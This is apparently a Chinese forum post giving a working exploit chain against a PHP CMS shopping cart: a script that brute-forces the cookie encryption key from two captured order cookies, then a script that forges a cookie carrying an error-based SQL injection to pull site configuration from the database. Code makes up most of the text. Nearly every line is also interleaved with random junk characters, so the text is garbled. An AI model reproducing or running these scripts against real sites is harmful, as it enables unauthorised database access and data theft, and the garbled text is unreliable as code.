www.xxx.com/plus/search.php?keyword=& u$ E e* t4 T$ A
在 include/shopcar.class.php中
m+ `2 p4 F3 ~, l7 z4 q先看一下这个shopcar类是如何生成cookie的
- U( U8 P7 ]; j& B* h' c5 _3 D239 function saveCookie($key,$value)9 o+ |( g. Y/ L' v. a% K. L
240 {' N& b1 `3 w7 x
241 if(is_array($value))
, ]6 F) ^% z% ]. c' c242 {# O+ {/ u+ m5 D5 B5 e
243 $value = $this->enCrypt($this->enCode($value));
+ G7 A$ L) p- k2 K% @' Z244 }/ S, R: ]" N; E% Y; e
245 else. I- M2 \. g+ s; d9 F! Q8 |, b
246 {, q0 Z. f$ w/ z7 y9 d
247 $value = $this->enCrypt($value);
0 J# \0 ~3 z* h% h248 }
+ d: |' Q% E8 x% f' V( n249 setcookie($key,$value,time()+36000,’/');# i% Y; \6 F ]1 |
250 }& s1 l5 W( V. |" S$ C: p4 j5 l
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
9 a( {7 O8 F& ]1 L0 f1 @1 @186 function enCrypt($txt)8 H( z, [+ h- c q
187 {( k" W$ i( n( l
188 srand((double)microtime() * 1000000);9 T7 M6 _5 ^5 T C
189 $encrypt_key = md5(rand(0, 32000));
+ H; @6 A( I3 S$ v; \& \* U( H! T190 $ctr = 0;
# {' e* d" ^) E191 $tmp = ”;
5 q$ t" }- p) p' w2 Y192 for($i = 0; $i < strlen($txt); $i++)
+ u7 w) J# M% q193 {
! e2 u7 n. L6 L: H$ Y194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;4 V/ N- D1 }% C9 u5 R s* ?
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
g' r% H) e9 `+ m196 }
W: f% K3 t2 [0 x& u: `197 return base64_encode($this->setKey($tmp));- I; b( k) T) m/ @+ X
198 }
' @6 _% i9 @4 T& }1 P9 O2 `213 function setKey($txt): {( w/ v3 `- l
214 {, z! y* S2 u0 o/ M- g( [0 d
215 global $cfg_cookie_encode;
1 H( _8 |: K# }* Y5 q! b( `( M216 $encrypt_key = md5(strtolower($cfg_cookie_encode));, j: o! S+ N7 E& S4 ?# z4 s
217 $ctr = 0;
8 P: r7 M# I9 V3 i5 t5 t w9 q. c218 $tmp = ”;* T. ^5 L/ ^) N+ F' \' }: F4 Z
219 for($i = 0; $i < strlen($txt); $i++)
8 e* h. R- v6 {# V/ b6 q220 {# o7 F0 t/ s# N, J) g& D
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
: }3 w( a6 d: }, T4 J6 v, ^222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
3 G" A) g" N5 U! E |223 }
4 R8 t* Z. Q I: Y1 e) }224 return $tmp;
: @2 W0 t9 ~6 J. ^9 Q8 X225 }
& v L: a* v* _) u7 ienCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的, R0 P& l7 H# M3 m9 R
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。. ?2 V. k# @; E
具体代码如下:
; {, ]0 s N/ V! Q7 g M<?php
, p% n9 G" r1 |$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
& G4 I8 z2 p6 O$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here, p& p9 s2 t3 C& B" }% n
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
4 }# {" k9 b% z& O& x, F) kfunction reStrCode($code,$string)6 L* e8 m: M! r L1 ^' C: f* k$ \* a
{: Y% H4 L0 z7 s
$code = base64_decode($code);6 |; k& ^: y5 K+ l/ q
$key = “”;9 M# B* l: i: Z- @; ]* B1 Y
for($i=0 ; $i<32 ; $i++)
9 F/ T1 v) V* z! p; D0 J* E! b{
% P& z+ b( d4 ^6 x7 F$key .= $string[$i] ^ $code[$i];2 e. }2 m& Y* z: P( W# H; |
}
# x j) V$ w+ M/ c0 q7 z, D: dreturn $key;
0 W' ?: i& ]" U R% p}
* h/ T5 R" E8 {function getKeys($cookie,$plantxt)% s6 A e4 G7 G
{
+ m% U8 Z. u4 A: h- a$ [0 [1 z$tmp = $cookie;! e. c! _7 @# t0 O1 u5 j
$results = array();+ F N. I7 r7 `0 o$ O
for($j=0 ; $j < 32000; $j++) r. m) j9 p; F. s! B7 S
{* V+ Q0 n+ j8 r' N; j8 N
0 H0 C8 U& |) p G' ?8 \
$txt = $plantxt;) O3 e+ b, d7 H+ c6 }% m) T
$ctr = 0;# }( s, h: F% ^+ Y
$tmp = ”;9 J8 s. ^6 H3 p) ^
$encrypt_key = md5($j);
u4 ~7 v1 n$ H) T; r0 M8 P+ {8 K- wfor($i =0; $i < strlen($txt); $i ++)8 X$ f( w( X4 }( g+ D: s N
{
( w4 e% y8 I3 \9 w: i$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
: e9 S1 \/ Q8 O$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
& `* S4 u. r3 E7 j- _ t, e$ s}) A9 _3 n6 ?' Z9 G& m
$string = $tmp;1 f* F' {$ A. h$ v- C
$code = $cookie;
5 a8 e) q8 \0 `/ |& x+ d8 |$result = reStrCode($code,$string);
# n' k4 z' {, M" l8 q+ Nif(eregi(‘^[a-z0-9]+$’,$result))% }4 Q3 ]# t7 @: p! R ]8 Y7 V8 h
{7 _. C; w' n+ l9 Z& w, Q5 L4 C
echo $result.”\n”;6 f% v" ?9 E( |8 h& @2 q
$results[] = $result;
% O( C: O6 b# O9 O G3 s}+ h9 J. x. b! w5 B$ m
}; c/ I: x& E, U6 S* f: g
return $results;
% b) v, D3 j% T7 ]} L' L; J# a G4 O) P- w# q
$results1 = getKeys($cookie1,$plantxt);
& \$ i' D6 _. c3 `: k$results2 = getKeys($cookie2,$plantxt);% _& B( {9 N1 X9 y1 E" T
print “\n——————–real key————————–\n”;
. d1 j3 S8 ]1 o" b# S# z$ F) yforeach($results1 as $test1)2 L8 I" l- U, k4 t2 N3 {& w
{
# g5 L$ c+ a0 }, b3 c" sforeach($results2 as $test2)
- b" f( e, c2 s; H2 A8 N{
. J+ f+ t5 r: Cif($test1 == $test2)/ W6 W6 _, W K9 m" `
{
. f: c' P7 T, f/ G$ pecho $test1.”\n”;
h* s5 C4 \. E. ?/ n# l}% b. ^3 o6 h- A; F1 h: z
}5 f- y" c c9 X1 _/ ?8 Q/ a
}2 K1 g0 ?0 o1 _. z
?>
5 O0 f; s( |3 ]4 _; N) Pcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. o2 V% T3 s+ {7 C: dplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1$ k+ [* I$ d8 l7 f) A8 U, w) A
然后推算出md5(strtolower($cfg_cookie_encode))+ Z& r* @8 q7 C) T, n9 l) \
得到这个key之后,我们就可以构造任意购物车的cookie2 t" n, n% _( B& W
接着看' @% O5 d# v6 b) c: q1 D7 U" P: h
20 class MemberShops
9 J! x* ?! S* G21 {+ @; f" }% H5 y
22 var $OrdersId;
5 g, [# I7 L- K23 var $productsId;
& Q7 w; K1 r" _/ w1 a _24
, r T: B, ~9 o- k' m) E; t i25 function __construct()4 Z S5 c- h, B! e* C
26 {: a. o& ?4 h/ G& n s: ~0 {' n
27 $this->OrdersId = $this->getCookie(“OrdersId”);
4 J/ |+ m$ @# D0 x) D L/ F28 if(empty($this->OrdersId))) D9 O) b, e8 Y! X- K- C
29 {5 S. |* b* J0 y' u* J
30 $this->OrdersId = $this->MakeOrders();
: y; Y, t4 T, a& z4 ]31 }& U, R( [( |8 f: o7 r" A7 }; k% b
32 }
2 t4 I& g: @8 ?( p发现OrderId是从cookie里面获取的, R" K: A; O4 }2 v2 V
然后/ H0 p1 o& B+ `& X$ B5 C B! F" ]
/plus/carbuyaction.php中的
6 G3 b1 R* [! Q% H, J" ~# D. h& C29 $cart = new MemberShops();6 `8 K) d7 ]5 D* M- T
39 $OrdersId = $cart->OrdersId; //本次记录的订单号$ r6 v( e) P0 |) ^" r
……5 }2 u6 y# d \4 S( F: `- {
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
7 y; K" w+ `" o5 \3 t% j2 r6 ?接着我们就可以注入了6 X# J0 d; B3 [. ?8 H7 k
通过利用下面代码生成cookie:( V. F9 r5 g& P* z# B- }
<?php
# \7 Z+ q$ {! m" p; S$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;: J, w: Z8 c" M K; x4 j. W. y) T
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
/ ?! n7 K% Y1 ?: W& [function setKey($txt)
6 v6 O; |7 a* P+ n& J5 q Y! t{' ?. H6 f- Z5 @
global $encrypt_key;* f' w5 A8 L7 U z" W4 i2 ~
$ctr = 0;: h& u& |; W' Q# l% m
$tmp = ”;
" ^- H# a/ z+ {5 r7 q! pfor($i = 0; $i < strlen($txt); $i++)0 T% q6 U1 h1 Z! _ V3 F! m! H* Y* d
{
& |+ @/ e0 P% V5 v; W$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, ?% j; G- F# c& |% [% @' f; P9 G$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];* M3 q* i& n- ~2 C
}) s7 E0 F9 D$ p' g! e
return $tmp;
; q% o" x/ G+ a}
9 u2 Z; @, L7 p0 yfunction enCrypt($txt)
) T3 T+ }3 f0 G5 ~{2 ]4 p. X6 v8 u9 h+ Y' l
srand((double)microtime() * 1000000);
F! O$ w, [ D5 G5 t$encrypt_key = md5(rand(0, 32000));
; r; J {; s6 K# b8 b9 _$ctr = 0;0 ^( o/ K9 s( M$ c# N% G4 T
$tmp = ”;
+ o; D( D1 p6 i3 E9 h; |3 }for($i = 0; $i < strlen($txt); $i++)2 C+ m) O i0 E) E8 o
{
! q4 i' ~7 ?7 ]/ J2 m: {$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: J5 T# j+ J6 h
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! F' ?1 L6 ^: l1 ^4 k' T! v
}
/ B' d: {* S1 q, B# J' L) breturn base64_encode(setKey($tmp));) T/ K I4 `0 Z8 \2 Z: r9 c* ?
}
9 @; K4 k1 I9 W& B* T6 s, sfor($dest =0;$dest = enCrypt($txt);)2 U0 [- c8 w6 Y' A' q4 Y
{6 u+ G. L: V: [* w$ q
if(!strpos($dest,’+'))
- s; ~/ {) e' t+ r" S: p( L{) X( M( U5 u* {
break;
9 s0 D$ \4 s- n% X}6 _9 b% ~, H4 w& `
}
. A! t4 r# r, c. e8 h% M# C# Techo $dest.”\n”;
. T4 ]! `) N, ~4 L?>
1 Q) k- T4 X: V: h
@+ m, R/ ], q4 ?# f- T5 H b |